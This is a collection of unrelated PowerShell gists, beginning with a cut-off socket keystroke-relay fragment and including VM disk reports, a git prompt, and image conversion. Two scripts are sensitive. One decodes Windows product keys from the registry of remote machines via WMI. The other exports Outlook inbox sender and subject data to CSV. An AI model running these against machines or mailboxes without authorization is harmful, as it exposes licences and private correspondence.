Out-Null [System.IAsyncResult]$AsyncJobResult = $null try { # The receive job is started asynchronously. $AsyncJobResult = $PS.BeginInvoke() while ($Socket.Connected) { # Wait for keys to be pressed in the parent PowerShell console window. # This is a blocking call so the telnet session may get disconnected # while waiting for a key to be pressed. $Key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyUp").Character # Check the socket and see if it is still active. $PollCheck1 = $Socket.Poll(5000,[System.Net.Sockets.SelectMode]::SelectRead) $PollCheck2 = ($Socket.Available -eq 0) if (($PollCheck1 -and $PollCheck2) -or ($State.Exception -ne $null)) { break } # Socket seems good, send the data. $Data = $ASCIIEncoding.GetBytes($key) $Socket.Send($Data) | Out-Null } } finally { # Cleanup the socket and child PowerShell process. if ($Socket -ne $null) { $Socket.Close() $Socket.Dispose() $Socket = $null } if ($PS -ne $null -and $AsyncJobResult -ne $null) { $PS.EndInvoke($AsyncJobResult) $PS.Dispose() } }
PowerShellCorpus/GithubGist/GuruAnt_9069627_raw_5fd0c6882eced93e57319bc2048d2352bc397dd0_DisplayVMDiskInformation.ps1
GuruAnt_9069627_raw_5fd0c6882eced93e57319bc2048d2352bc397dd0_DisplayVMDiskInformation.ps1
# Create an empty array for results $arrResults = @() # Get the .net view of the virtual machines $objVMViews = Get-View -ViewType "VirtualMachine" | Where-Object {!$_.Config.Template} # Loop through the .net view objects representing the machines ForEach ($objVMView in $objVMViews){ # Loop through the .net view's devices ForEach ($objDevice in $objVMView.Config.Hardware.Device) { # Where the device is a virtual disk If ($objDevice.GetType().Name -eq "VirtualDisk"){ # Create a new object to represent the virtual disk $objVirtualDisk = New-Object PSObject # Append properties to the disk object based on the view object $objVirtualDisk | Add-Member -Name "Name" -MemberType NoteProperty -Value $objVMView.Name $objVirtualDisk | Add-Member -Name "DeviceLabel" -MemberType NoteProperty -Value $objDevice.DeviceInfo.Label $objVirtualDisk | Add-Member -Name "FileName" -MemberType NoteProperty -Value $objDevice.Backing.FileName $objVirtualDisk | Add-Member -Name "DiskMode" -MemberType NoteProperty -Value $objDevice.Backing.DiskMode $objVirtualDisk | Add-Member -Name "SizeGB" -MemberType NoteProperty -Value ($objDevice.CapacityInKB / 1024 / 1024) # If there is a ThinProvisioned property, then the disk is sparse If ($objDevice.Backing.ThinProvisioned){ $objVirtualDisk | Add-Member -Name "ThinProvisioned" -MemberType NoteProperty -Value $True} Else { $objVirtualDisk | Add-Member -Name "ThinProvisioned" -MemberType NoteProperty -Value $False } # Append the virtual disk object to the array of results $arrResults += $objVirtualDisk } } } # Display the results on screen $arrResults | Format-Table
PowerShellCorpus/GithubGist/actaneon_266652_raw_1f09b634e99e7ddb67069abee6297630cc666e93_profile.ps1
actaneon_266652_raw_1f09b634e99e7ddb67069abee6297630cc666e93_profile.ps1
# My preferred prompt for Powershell. # Displays git branch and stats when inside a git repository. # See http://gist.github.com/180853 for gitutils.ps1. . (Resolve-Path ~/Documents/WindowsPowershell/gitutils.ps1) function prompt { $path = "" $pathbits = ([string]$pwd).split("\", [System.StringSplitOptions]::RemoveEmptyEntries) if($pathbits.length -eq 1) { $path = $pathbits[0] + "\" } else { $path = $pathbits[$pathbits.length - 1] } $userLocation = $env:username + '@' + [System.Environment]::MachineName + ' ' + $path $host.UI.RawUi.WindowTitle = $userLocation Write-Host($userLocation) -nonewline -foregroundcolor Green if (isCurrentDirectoryGitRepository) { $status = gitStatus $currentBranch = $status["branch"] Write-Host(' [') -nonewline -foregroundcolor Yellow if ($status["ahead"] -eq $FALSE) { # We are not ahead of origin Write-Host($currentBranch) -nonewline -foregroundcolor Cyan } else { # We are ahead of origin Write-Host($currentBranch) -nonewline -foregroundcolor Red } Write-Host(' +' + $status["added"]) -nonewline -foregroundcolor Yellow Write-Host(' ~' + $status["modified"]) -nonewline -foregroundcolor Yellow Write-Host(' -' + $status["deleted"]) -nonewline -foregroundcolor Yellow if ($status["untracked"] -ne $FALSE) { Write-Host(' !') -nonewline -foregroundcolor Yellow } Write-Host(']') -nonewline -foregroundcolor Yellow } Write-Host('>') -nonewline -foregroundcolor Green return " " }
PowerShellCorpus/GithubGist/glassdfir_5c43acee8cc53a70d7a5_raw_d849a46dc1373159f325fb3b5f7ec6f1d5383307_emlcsv.ps1
glassdfir_5c43acee8cc53a70d7a5_raw_d849a46dc1373159f325fb3b5f7ec6f1d5383307_emlcsv.ps1
$olFolderInbox = 6 $outlook = new-object -com outlook.application; $mapi = $outlook.GetNameSpace("MAPI"); $inbox = $mapi.GetDefaultFolder($olFolderInbox) $inbox.items|Select SenderEmailAddress,to,subject|Export-Csv C:\demoinbox.csv -NoTypeInformation
PowerShellCorpus/GithubGist/peaeater_7709748_raw_7dd51d8549526f2d6132f5a6fc122e08dc0276eb_tif2jpg.ps1
peaeater_7709748_raw_7dd51d8549526f2d6132f5a6fc122e08dc0276eb_tif2jpg.ps1
# convert tifs to jpgs # requires imagemagick Param( [int]$size = 1000, [string]$indir = ".", [string]$outdir = $indir ) if (!(test-path $outdir)) { mkdir $outdir } $files = ls "$indir\*.*" -include *.tif,*.tiff foreach ($file in $files) { $input = ('"{0}"' -f $file.FullName) $output = ('"{0}\{1}.jpg"' -f $outdir, $file.BaseName) $args = "$input -colorspace RGB -resize $size -colorspace sRGB $output" write-host $args start-process convert $args -wait -NoNewWindow }
PowerShellCorpus/GithubGist/humbleposh_7366411_raw_1ca3ca4f10a4ce03a956673375519cc7f01be553_OfflineFiles_2.ps1
humbleposh_7366411_raw_1ca3ca4f10a4ce03a956673375519cc7f01be553_OfflineFiles_2.ps1
# Connect to the OfflineFilesCache WMI object $offlinefilescache = [wmiclass]"\\localhost\root\cimv2:win32_offlinefilescache" # Force the folder online $offlinefilescache.TransitionOnline("\\server\share") # Force the folder offline $offlinefilescache.TransitionOffline('\\server\share',$true,1) # Pin a folder [uint32]$flags = [uint32]0x00000001 + [uint32]0x00000020 + [uint32]0x00000800 + [uint32]0x00001000 $offlinefilescache.Pin('\\server\share\folder\',$flags,$true) # Sync Files [uint32]$SyncFlags = [uint32]0x00000002 + [uint32]0x00000008 + [uint32]0x00000020 + [uint32]0x00000400 + [uint32]0x00000800 + [uint32]0x00001000 $offlinefilescache.Synchronize('\\server\share\folder\',$SyncFlags) # Unpin a folder [uint32]$UnpinFlags = [uint32]0x00000020 # Delete all offline files $FileList = $OfflineFilesItem.GetInstances() [uint32]$DeleteFlags = [uint32]0x00000004 $FileList | %{$offlinefilescache.DeleteItems($_.ItemPath,$DeleteFlags)} $offlinefilescache.Unpin('\\server\share\folder\',$UnpinFlags,$true)
PowerShellCorpus/GithubGist/JM1_65550ad84646d26a290b_raw_b65a5739dfcff079acdec4d3ceb90b7b36796c3d_RecoverKey.ps1
JM1_65550ad84646d26a290b_raw_b65a5739dfcff079acdec4d3ceb90b7b36796c3d_RecoverKey.ps1
# How To Recover Windows 7/8.1 Product Key Without Using Third-Party Tools # By Jakob Bindslet (jakob@bindslet.dk) # Updated on Sep 26th, 2013 # # Usage: # Open Windows PowerShell as administrator # C:\> $oldPolicy = Get-ExecutionPolicy # C:\> Set-ExecutionPolicy RemoteSigned # Click Enter key or 'Y' key when you see "Do you want to change the execution policy" message. # C:\> Import-Module C:\Users\PC\Desktop\RecoverKey.ps1; Get-WindowsKey # C:\> Set-ExecutionPolicy $oldPolicy # # Src: # http://www.intowindows.com/how-to-recover-windows-78-1-product-key-without-using-third-party-tools/ # function Get-WindowsKey { ## function to retrieve the Windows Product Key from any PC ## by Jakob Bindslet (jakob@bindslet.dk) param ($targets = ".") $hklm = 2147483650 $regPath = "Software\Microsoft\Windows NT\CurrentVersion" $regValue = "DigitalProductId" Foreach ($target in $targets) { $productKey = $null $win32os = $null $wmi = [WMIClass]"\\$target\root\default:stdRegProv" $data = $wmi.GetBinaryValue($hklm,$regPath,$regValue) $binArray = ($data.uValue)[52..66] $charsArray = "B","C","D","F","G","H","J","K","M","P","Q","R","T","V","W","X","Y","2","3","4","6","7","8","9" ## decrypt base24 encoded binary data For ($i = 24; $i -ge 0; $i--) { $k = 0 For ($j = 14; $j -ge 0; $j--) { $k = $k * 256 -bxor $binArray[$j] $binArray[$j] = [math]::truncate($k / 24) $k = $k % 24 } $productKey = $charsArray[$k] + $productKey If (($i % 5 -eq 0) -and ($i -ne 0)) { $productKey = "-" + $productKey } } $win32os = Get-WmiObject Win32_OperatingSystem -computer $target $obj = New-Object Object $obj | Add-Member Noteproperty Computer -value $target $obj | Add-Member Noteproperty Caption -value $win32os.Caption $obj | Add-Member Noteproperty CSDVersion -value $win32os.CSDVersion $obj | Add-Member Noteproperty OSArch -value $win32os.OSArchitecture $obj | Add-Member Noteproperty BuildNumber -value $win32os.BuildNumber $obj | Add-Member Noteproperty RegisteredTo -value $win32os.RegisteredUser $obj | Add-Member Noteproperty ProductID -value $win32os.SerialNumber $obj | Add-Member Noteproperty ProductKey -value $productkey $obj } }
PowerShellCorpus/GithubGist/zagnut999_a72ff4b07d6b028f457b_raw_6d08c628292a62e0f115dd785f966b82512387af_RemoveBinObj.ps1
zagnut999_a72ff4b07d6b028f457b_raw_6d08c628292a62e0f115dd785f966b82512387af_RemoveBinObj.ps1
# http://twitter.com/julielerman/status/479641353253818368 Get-ChildItem -include bin,obj -recu -Force | remove-item -force -recurse